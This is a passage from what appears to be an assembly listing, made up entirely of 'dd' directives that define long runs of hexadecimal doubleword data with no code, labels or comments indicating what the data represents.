		dd 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh
		dd 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h
		dd 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h
		dd 5B301E21h, 63FC09Eh,	56846B4Ah, 0D3A38B2Ch, 0D044CF07h
		dd 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh, 18465698h
		dd 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h
		dd 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh,	0D748C0A4h
		dd 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h,	0A2D3D2E2h
		dd 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h
		dd 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah
		dd 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h,	758F9339h
		dd 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h
		dd 3465401h, 76007662h,	0E8028891h, 30D7B5Ah, 707E843Bh
		dd 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh
		dd 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh,	4DBEE269h
		dd 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h
		dd 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h
		dd 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h
		dd 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh
		dd 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h
		dd 0E1731E82h, 85CA3Bh,	54862F07h, 109E6AE7h, 37B47E01h
		dd 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h,	0BF8EC59h
		dd 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h
		dd 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h
		dd 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h
		dd 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h
		dd 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h
		dd 0E79117h, 324A8110h,	22C2098Fh, 0EFB8B000h, 0D6E22EFCh
		dd 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h
		dd 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh
		dd 16D1CD99h, 0CF27A9h,	0D3672D0Fh, 4B00246Ah, 0C73D9C15h
		dd 388712h, 0E1B5358Eh,	207B3AD8h, 3C5A101Ch, 0A14C2FCFh
		dd 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h
		dd 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh,	7E0007F8h
		dd 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh
		dd 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h,	7D2E40F1h
		dd 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h,	0DDCEC0ECh
		dd 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh,	487109h
		dd 22759166h, 0A9944487h, 15BD8900h, 79566AA8h,	3A430913h
		dd 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h,	1E3600F5h
		dd 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h
		dd 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh
		dd 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh,	0E106F0h
		dd 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h
		dd 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h
		dd 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h,	8C9C9ED0h
		dd 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h
		dd 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h
		dd 5FD5BD1h, 95796406h,	90740B9Dh, 11FEE7h, 2DAD3FB5h
		dd 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh
		dd 1354B0Bh, 9800FAC6h,	0C046D13h, 901C4E06h, 0A4AA0075h
		dd 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh
		dd 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h
		dd 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h,	0D10B1DACh
		dd 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h,	96554152h
		dd 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch
		dd 4E5142h, 0D55247C2h,	0DE9DA396h, 43DA4100h, 77A98F27h
		dd 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh,	13CA6Eh
		dd 588DBADh, 847D8351h,	76818700h, 0A19BCCB8h, 2D900089h
		dd 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh,	0C353064Bh
		dd 662230EBh, 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h
		dd 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h
		dd 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h,	31382433h
		dd 80522831h, 54E41940h, 87C99h, 144B2C11h, 7955A41Ah
		dd 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh
		dd 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h
		dd 400D50Ch, 62BEE0DEh,	8153A0h, 438FE831h, 3325D16Bh
		dd 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh
		dd 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah,	7BA2EAh
		dd 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch
		dd 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h,	0C297BC0h
		dd 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h
		dd 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h
		dd 0EC99EA24h, 5FA858h,	264C4442h, 5B2DAF53h, 0E094D500h
		dd 3B1C98C4h, 74F9A0BEh, 547300ECh, 3ED6AA20h, 5198E2C1h
		dd 5F184300h, 89652E7Ah, 545E0B24h, 360040D0h, 0E40594B1h
		dd 7E75D40Eh, 81CC3A1h,	4842C020h, 50EEA6h, 19D0DC7Ch
		dd 0D3245303h, 70463700h, 18C2A028h, 1834FA89h,	5A12FF82h
		dd 0FC00AF74h, 5F39DB31h, 0D8E2B0h, 7E1DFD94h, 7CF60542h
		dd 82000EE6h, 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh
		dd 4BC23B00h, 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h
		dd 0AFC8A500h, 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h
		dd 0E0E8515Fh, 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh
		dd 67D1C50h, 49DB608Bh,	9076010Ch, 78C3C129h, 7EB8304Ah
		dd 5A8C081Dh, 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h
		dd 731F9E7Bh, 3D817256h, 75D13C89h, 868042BCh, 2C438890h
		dd 9C71BE97h, 4548CB00h, 58FDAD80h, 0CA1F2820h,	0E81201E8h
		dd 94684693h, 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh,	0FED74E97h
		dd 0F7C0302h, 6D3D7AF5h, 601F4DF8h, 0D2F13304h,	3F822D37h
		dd 88B3638Ah, 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch
		dd 24B6BA8Ch, 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h
		dd 8DFEF55Eh, 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h
		dd 38BB5D9Dh, 0FEA7132h, 7607B91h, 149500D7h, 0AAD504F0h
		dd 0F7303Bh, 5BDE97D1h,	107EB8Bh, 5DC9CAD4h, 0E8871067h
		dd 0D50027E9h, 18D02325h, 2EDAED84h, 3F70A56Ah,	46FDC580h
		dd 8E4769EAh, 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh
		dd 0C4AA142Ah, 638A5D0Fh, 351E977Ch, 2FB42480h,	43D2D9h
		dd 0CED555Ah, 70571908h, 871D79FAh, 54CF2088h, 803C004Ah
		dd 638A551h, 58A2B891h,	89000B15h, 88BC461Eh, 0EA4E5690h
		dd 1877F2h, 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h
		dd 14510010h, 22836350h
		dd 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h
		dd 47667157h, 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh
		dd 6409F07Fh, 80A66974h, 534018CFh, 48770061h, 0B37C577Dh
		dd 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h
		dd 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h
		dd 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h
		dd 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h
		dd 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch,	45B0711Ch
		dd 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh,	76CC6A4Fh
		dd 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h
		dd 0EA6F4363h, 581862h,	6C1C6847h, 77875166h, 31706B00h
		dd 1D466365h, 74487140h, 1F077972h, 80615167h, 74945527h
		dd 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh,	429E0078h
		dd 13048FEh, 6A0E654Bh,	0C7636961h, 0D3E128C0h,	87C421FBh
		dd 0F860F834h, 681E009Fh, 486E38BFh, 95073052h,	1447CA1Ch
		dd 3741150h, 61670046h,	60886376h, 8BA05677h, 6D000A62h
		dd 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh
		dd 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h
		dd 48B07742h, 0B6006C63h, 74417289h, 613A71h, 1C0696Bh
		dd 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h
		dd 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h
		dd 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h
		dd 406A0B86h, 0BB505Ch,	44A19946h, 7D0D3951h, 14101E15h
		dd 67FC80C3h, 28B4C28h,	3D00F00h, 0C2203C50h, 17403AF6h
		dd 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h,	1D4775F7h
		dd 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h
		dd 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h,	2D46DD69h
		dd 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h,	14B8801Fh
		dd 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh,	71830E54h
		dd 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h,	1C8FD16Dh
		dd 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h
		dd 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh,	0D0FA00A4h
		dd 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h
		dd 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h,	8BA71D76h
		dd 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h
		dd 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h,	0AA830E12h
		dd 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h
		dd 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h
		dd 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh
		dd 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh
		dd 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h,	0C40C21CCh
		dd 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h
		dd 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh
		dd 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h
		dd 760F09F8h, 545DF0Ch,	0FB80EB0Fh, 2D6995h, 0E885D959h
		dd 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h
		dd 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh
		dd 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h
		dd 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh,	1B66A12h
		dd 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh,	0F4BA3437h
		dd 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h,	558BF1B8h
		dd 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h,	32FEF4h
		dd 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h,	14546C6h
		dd 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h,	259C7DDh
		dd 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh
		dd 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh,	15F4F48h
		dd 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h
		dd 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh
		dd 8053B84h, 12410C01h,	0E028C310h, 0F600D311h,	1CBA2F13h
		dd 3455251h, 87A2EBC6h,	0E4A0BFE5h, 0AC00F24Fh,	6C7E8086h
		dd 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah
		dd 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh,	0DDAEFC00h
		dd 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h,	0B45EBD03h
		dd 0D224BFh, 60923949h,	9F6BE41h, 32E6B07h, 9E30E4BCh
		dd 0D31840h, 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h
		dd 6583F0h, 0B106FE3Bh,	76BE695Bh, 6EC0FA00h, 73BF1210h
		dd 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h
		dd 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h,	0EC0257EBh
		dd 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h,	837825E9h
		dd 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h
		dd 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h
		dd 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h
		dd 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh
		dd 30B3B00h, 24CF2BCAh,	0DF8A006Fh, 0AE4927Ch, 0A000275Fh
		dd 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h,	82920E00h
		dd 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h,	0D4DDC30Ch
		dd 80072089h, 1DC0267Bh, 0B50098B7h, 437EE0h, 0F5AC921Bh
		dd 0B0C1D73Bh, 450C532Ch, 0EFC25000h, 437FC6h, 2856A9F9h
		dd 8F7D0EEh, 0A8517A00h, 2DA6D3AAh, 8C4D005Dh, 0BF156726h
		dd 13007387h, 3FE5F685h, 7031188h, 0A4BC625Ch, 0E08DF7AEh
		dd 0A9841D6h, 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h
		dd 0A500A8BEh, 358498F2h, 28033372h, 9D863210h,	0E628039h
		dd 7A2C1D11h, 8158CA2h,	2B7D4F0Ch, 28783F03h, 0A90C5820h
		dd 63C510AFh, 75D0EC0h,	0D7B153C5h, 294E00B7h, 3E037654h
		dd 7D7A47D2h, 717CF190h, 609825E0h, 8563822Fh, 6B006E96h
		dd 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h
		dd 0D7B850B3h, 6899D500h, 2C78B22Fh, 49F2015Dh,	0E27BCDE1h
		dd 0A391F004h, 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch
		dd 0C7FD04D8h, 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h
		dd 1AC11BC9h, 21B9F58h,	9C18153Bh, 1254E047h, 0C550001h
		dd 9FAD0575h, 161F8AF4h, 8414258h, 1A91CB03h, 0AF46FCh
		dd 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch
		dd 0A7EC044Bh, 0E400E85Bh, 104914D5h, 0A0DA2Ch,	0B619890Ch
		dd 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h
		dd 15D63479h, 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h
		dd 91879D68h, 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh
		dd 0AC6607Eh, 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h
		dd 0A130306h, 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah
		dd 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h
		dd 0E0257F00h, 5ADEF7FBh, 45600728h, 618A6543h,	0D94CD0A8h
		dd 68E8EB85h, 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h
		dd 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h
		dd 0A9840003h, 8AB08805h
		dd 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h,	40FAE70Fh
		dd 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h
		dd 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h
		dd 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h,	68A1C07h
		dd 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh
		dd 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h
		dd 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h,	0E93C1703h
		dd 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh
		dd 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh,	0C6006A71h
		dd 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h
		dd 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h
		dd 0B4CFCCE0h, 66ED10h,	0F8AD68E7h, 851C7DA4h, 0CCF4423Dh
		dd 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh
		dd 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h
		dd 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh
		dd 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h
		dd 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh
		dd 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h,	68AF9608h
		dd 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h
		dd 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h
		dd 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh
		dd 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h
		dd 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h
		dd 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h
		dd 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h
		dd 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h,	3B06E98Ch
		dd 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h,	0FF96EBE0h
		dd 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h,	8130299Fh
		dd 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh
		dd 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h,	74AE9046h
		dd 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h,	1C5815D1h
		dd 0E3AC6Eh, 8F433614h,	8C9C46A2h, 8A40F101h, 814A3B08h
		dd 603D840h, 428D0050h,	4D98EA0Ah, 2900E8F0h, 845E575Bh
		dd 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h
		dd 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh,	2FA4035h
		dd 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h, 6547E788h
		dd 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h,	70690052h
		dd 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h,	0C805003Ch
		dd 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h
		dd 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh
		dd 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh
		dd 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh,	4F77042h
		dd 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h,	0E651C8h
		dd 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h
		dd 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h
		dd 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah
		dd 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh,	42F397B2h
		dd 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h
		dd 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h
		dd 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah,	3BD2AF24h
		dd 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h
		dd 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h,	5CDF1198h
		dd 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h
		dd 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h
		dd 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h,	0CCE8DDD8h
		dd 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh,	0A0F12F10h
		dd 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h,	945E6A0Dh
		dd 41FD301h, 1CBE6096h,	31FCBD40h, 4C5001C0h, 0A80E6802h
		dd 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh,	0B881D53Ah
		dd 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h
		dd 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh
		dd 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h
		dd 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch,	0FE3500F6h
		dd 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh
		dd 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h
		dd 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h
		dd 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h
		dd 5D7D07h, 0B355565Ah,	0D14B1620h, 810CEA3Ah, 527333D6h
		dd 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh,	9729863Ch
		dd 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch,	3B4C980h
		dd 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h
		dd 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h
		dd 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h,	0F7E2C8h
		dd 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah
		dd 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h
		dd 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h,	817A4400h
		dd 586A07E2h, 0F0C43FE4h, 781CC91Ch, 40CEDC60h,	1001DF6h
		dd 10B77538h, 1C9EBA3h,	39F00A7Bh, 0ECC156CCh, 0BC00FA04h
		dd 869460A0h, 0EDEF69Dh, 3FAC8313h, 0D089AD00h,	807DCDEBh
		dd 0A8201E00h, 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h
		dd 0D06A4A4h, 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h
		dd 0E072500h, 0F62FCA5h, 0EA7B8401h, 2F2985FAh,	0E0499F0h
		dd 0E03906ADh, 32C30720h, 172C7440h, 1739997Ah,	74126601h
		dd 0D9075913h, 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h
		dd 222AD880h, 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h
		dd 9407A326h, 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h
		dd 0DFBBF3h, 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h
		dd 4A0250h, 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah
		dd 91FCE340h, 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h
		dd 5BD24C30h, 0B0E8A097h, 5A8A098h, 0D4370734h,	20358BB2h
		dd 0EC0DC402h, 318E800h, 3C836F11h, 0B91200A1h,	0B1437194h
		dd 76003689h, 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h
		dd 32003A8Bh, 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h
		dd 32872900h, 0FF10280Ch, 81A60015h, 5854C35Eh,	2000B22Ch
		dd 5FB7DA36h, 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh
		dd 34801E1Ch, 5A7CA63Eh, 0AEF90312h, 1BCD0854h,	0CA27F8E8h
		dd 6AF59004h, 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh
		dd 0C0507076h, 171EB4Ch, 8C66C700h, 8304A8D8h, 0EAE90010h
		dd 0C3FA3265h, 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah
		dd 28682BF8h, 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h
		dd 2098C75Fh, 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h
		dd 4A4DBF83h, 0E81A0700h, 57ECF391h, 81C32C69h,	7422097Ah
		dd 0B5408300h, 0C0010A6Ch
		dd 38F640Ch, 3DDCD0BAh,	5CC10042h, 525051C3h, 8807EE66h
		dd 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h
		dd 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh,	0D7EE56AAh
		dd 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h
		dd 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh
		dd 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h
		dd 3685944h, 30058B64h,	3C148500h, 421904F2h, 0C4080F02h
		dd 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h
		dd 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h
		dd 33CB0E68h, 88091DBh,	0E8507417h, 62005AFCh, 0F207E688h
		dd 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h
		dd 4CBBD4DEh, 600F713h,	560B245Bh, 1CCB3A73h, 9F92EBA7h
		dd 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h
